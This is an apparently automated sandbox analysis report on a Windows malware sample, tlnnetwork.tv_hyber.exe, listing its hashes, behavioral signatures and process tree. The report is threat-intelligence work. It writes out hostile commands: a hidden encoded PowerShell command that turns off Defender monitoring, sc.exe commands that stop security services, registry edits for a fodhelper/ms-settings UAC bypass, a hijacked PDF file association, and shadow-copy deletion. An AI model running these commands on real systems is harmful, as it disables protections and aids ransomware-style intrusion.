Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/08/2026, 01:19
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
tlnnetwork.tv_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
tlnnetwork.tv_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target tlnnetwork.tv_hyber.exe
- Size 49KB
- Sample260818-bpph7aeg33
- SHA256 bc8df950ba45b094992a60855ee845b58addf9a3052d994bb85fe594853e6a44
- MD5 2d93314c952aadf9962c11de81d5640f
- SHA1 951d5a15b257b746fa3fba7f1d982d793b9cda7e
- SHA512 9aed638325c68bb0b3a5c8c7c1727a094368b6965f08e2ad8bb0928b1e66a1e5e4b9c5fe5d48bbde6b567b6cd1e60ef077f6d1d5d818abcaabee7e09a73523ca
- SSDEEP 768:UrVZZ6zs0h16cFdQuSzqU/NKPzfX/fz74/:SZ6HhIxuUGP/fz74/
- TLSH T18F33054437ED4521E1BF9ABE89F251128731F4639C23DB9E1AD8419E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3576-1-0x0000000000010000-0x0000000000022000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" tlnnetwork.tv_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1836 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" tlnnetwork.tv_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts tlnnetwork.tv_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 6288 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf tlnnetwork.tv_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf tlnnetwork.tv_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf tlnnetwork.tv_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tlnnetwork.tv_hyber.exe" tlnnetwork.tv_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1884 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe tlnnetwork.tv_hyber.exe File created C:\Windows\system32\sysupdate.exe tlnnetwork.tv_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe tlnnetwork.tv_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 6728 wscript.exe 6704 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" tlnnetwork.tv_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\2795352008.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 7028 sc.exe 5440 sc.exe 3260 sc.exe 2728 sc.exe 1912 sc.exe 6316 sc.exe 4736 sc.exe 5448 sc.exe 4520 sc.exe 6020 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1304 cmd.exe 4544 cmd.exe 2936 cmd.exe 7008 cmd.exe 4528 cmd.exe 4984 cmd.exe 6572 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3196 ipconfig.exe 5052 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5756 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1276 vssadmin.exe 5936 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2" tlnnetwork.tv_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell tlnnetwork.tv_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" tlnnetwork.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command tlnnetwork.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet tlnnetwork.tv_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tlnnetwork.tv_hyber.exe\" \"%1\"" tlnnetwork.tv_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute tlnnetwork.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open tlnnetwork.tv_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings tlnnetwork.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell tlnnetwork.tv_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open tlnnetwork.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command tlnnetwork.tv_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command tlnnetwork.tv_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open tlnnetwork.tv_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tlnnetwork.tv_hyber.exe" tlnnetwork.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell tlnnetwork.tv_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings tlnnetwork.tv_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6580 schtasks.exe 6616 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1836 powershell.exe 1836 powershell.exe 1836 powershell.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 2628 WMIC.exe 2628 WMIC.exe 2628 WMIC.exe 2628 WMIC.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 5892 WMIC.exe 5892 WMIC.exe 5892 WMIC.exe 5892 WMIC.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe 3576 tlnnetwork.tv_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1728 LogonUI.exe Token: SeCreatePagefilePrivilege 1728 LogonUI.exe Token: SeDebugPrivilege 3576 tlnnetwork.tv_hyber.exe Token: SeDebugPrivilege 1836 powershell.exe Token: SeIncreaseQuotaPrivilege 1836 powershell.exe Token: SeSecurityPrivilege 1836 powershell.exe Token: SeTakeOwnershipPrivilege 1836 powershell.exe Token: SeLoadDriverPrivilege 1836 powershell.exe Token: SeSystemProfilePrivilege 1836 powershell.exe Token: SeSystemtimePrivilege 1836 powershell.exe Token: SeProfSingleProcessPrivilege 1836 powershell.exe Token: SeIncBasePriorityPrivilege 1836 powershell.exe Token: SeCreatePagefilePrivilege 1836 powershell.exe Token: SeBackupPrivilege 1836 powershell.exe Token: SeRestorePrivilege 1836 powershell.exe Token: SeShutdownPrivilege 1836 powershell.exe Token: SeDebugPrivilege 1836 powershell.exe Token: SeSystemEnvironmentPrivilege 1836 powershell.exe Token: SeRemoteShutdownPrivilege 1836 powershell.exe Token: SeUndockPrivilege 1836 powershell.exe Token: SeManageVolumePrivilege 1836 powershell.exe Token: 33 1836 powershell.exe Token: 34 1836 powershell.exe Token: 35 1836 powershell.exe Token: 36 1836 powershell.exe Token: SeIncBasePriorityPrivilege 3576 tlnnetwork.tv_hyber.exe Token: SeIncreaseQuotaPrivilege 2628 WMIC.exe Token: SeSecurityPrivilege 2628 WMIC.exe Token: SeTakeOwnershipPrivilege 2628 WMIC.exe Token: SeLoadDriverPrivilege 2628 WMIC.exe Token: SeSystemProfilePrivilege 2628 WMIC.exe Token: SeSystemtimePrivilege 2628 WMIC.exe Token: SeProfSingleProcessPrivilege 2628 WMIC.exe Token: SeIncBasePriorityPrivilege 2628 WMIC.exe Token: SeCreatePagefilePrivilege 2628 WMIC.exe Token: SeBackupPrivilege 2628 WMIC.exe Token: SeRestorePrivilege 2628 WMIC.exe Token: SeShutdownPrivilege 2628 WMIC.exe Token: SeDebugPrivilege 2628 WMIC.exe Token: SeSystemEnvironmentPrivilege 2628 WMIC.exe Token: SeRemoteShutdownPrivilege 2628 WMIC.exe Token: SeUndockPrivilege 2628 WMIC.exe Token: SeManageVolumePrivilege 2628 WMIC.exe Token: 33 2628 WMIC.exe Token: 34 2628 WMIC.exe Token: 35 2628 WMIC.exe Token: 36 2628 WMIC.exe Token: SeDebugPrivilege 2480 whoami.exe Token: SeDebugPrivilege 1884 tasklist.exe Token: SeIncreaseQuotaPrivilege 2628 WMIC.exe Token: SeSecurityPrivilege 2628 WMIC.exe Token: SeTakeOwnershipPrivilege 2628 WMIC.exe Token: SeLoadDriverPrivilege 2628 WMIC.exe Token: SeSystemProfilePrivilege 2628 WMIC.exe Token: SeSystemtimePrivilege 2628 WMIC.exe Token: SeProfSingleProcessPrivilege 2628 WMIC.exe Token: SeIncBasePriorityPrivilege 2628 WMIC.exe Token: SeCreatePagefilePrivilege 2628 WMIC.exe Token: SeBackupPrivilege 2628 WMIC.exe Token: SeRestorePrivilege 2628 WMIC.exe Token: SeShutdownPrivilege 2628 WMIC.exe Token: SeDebugPrivilege 2628 WMIC.exe Token: SeSystemEnvironmentPrivilege 2628 WMIC.exe Token: SeRemoteShutdownPrivilege 2628 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3576 tlnnetwork.tv_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1728 LogonUI.exe 1728 LogonUI.exe 3576 tlnnetwork.tv_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3576 wrote to memory of 1836 3576 tlnnetwork.tv_hyber.exe 91 PID 3576 wrote to memory of 7028 3576 tlnnetwork.tv_hyber.exe 93 PID 3576 wrote to memory of 5440 3576 tlnnetwork.tv_hyber.exe 95 PID 3576 wrote to memory of 3260 3576 tlnnetwork.tv_hyber.exe 97 PID 3576 wrote to memory of 1912 3576 tlnnetwork.tv_hyber.exe 99 PID 3576 wrote to memory of 5448 3576 tlnnetwork.tv_hyber.exe 101 PID 3576 wrote to memory of 2728 3576 tlnnetwork.tv_hyber.exe 103 PID 3576 wrote to memory of 4736 3576 tlnnetwork.tv_hyber.exe 105 PID 3576 wrote to memory of 6316 3576 tlnnetwork.tv_hyber.exe 107 PID 3576 wrote to memory of 1568 3576 tlnnetwork.tv_hyber.exe 109 PID 1568 wrote to memory of 5484 1568 fodhelper.exe 110 PID 3576 wrote to memory of 6728 3576 tlnnetwork.tv_hyber.exe 112 PID 3576 wrote to memory of 6580 3576 tlnnetwork.tv_hyber.exe 113 PID 3576 wrote to memory of 4576 3576 tlnnetwork.tv_hyber.exe 117 PID 3576 wrote to memory of 4544 3576 tlnnetwork.tv_hyber.exe 121 PID 3576 wrote to memory of 1304 3576 tlnnetwork.tv_hyber.exe 122 PID 3576 wrote to memory of 6572 3576 tlnnetwork.tv_hyber.exe 123 PID 3576 wrote to memory of 4984 3576 tlnnetwork.tv_hyber.exe 124 PID 3576 wrote to memory of 4528 3576 tlnnetwork.tv_hyber.exe 125 PID 3576 wrote to memory of 7008 3576 tlnnetwork.tv_hyber.exe 126 PID 3576 wrote to memory of 2936 3576 tlnnetwork.tv_hyber.exe 127 PID 3576 wrote to memory of 6616 3576 tlnnetwork.tv_hyber.exe 135 PID 3576 wrote to memory of 6704 3576 tlnnetwork.tv_hyber.exe 137 PID 3576 wrote to memory of 1276 3576 tlnnetwork.tv_hyber.exe 138 PID 3576 wrote to memory of 2628 3576 tlnnetwork.tv_hyber.exe 139 PID 3576 wrote to memory of 3448 3576 tlnnetwork.tv_hyber.exe 140 PID 3576 wrote to memory of 6288 3576 tlnnetwork.tv_hyber.exe 141 PID 3576 wrote to memory of 6020 3576 tlnnetwork.tv_hyber.exe 142 PID 3576 wrote to memory of 4520 3576 tlnnetwork.tv_hyber.exe 143 PID 4528 wrote to memory of 1596 4528 cmd.exe 150 PID 1596 wrote to memory of 1560 1596 net.exe 151 PID 3448 wrote to memory of 4824 3448 net.exe 152 PID 6572 wrote to memory of 1884 6572 cmd.exe 153 PID 4984 wrote to memory of 2480 4984 cmd.exe 154 PID 1304 wrote to memory of 5756 1304 cmd.exe 155 PID 2936 wrote to memory of 5052 2936 cmd.exe 158 PID 4544 wrote to memory of 5936 4544 cmd.exe 159 PID 7008 wrote to memory of 3196 7008 cmd.exe 157 PID 4544 wrote to memory of 5892 4544 cmd.exe 162 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe"C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1836
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:7028
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5440
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3260
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
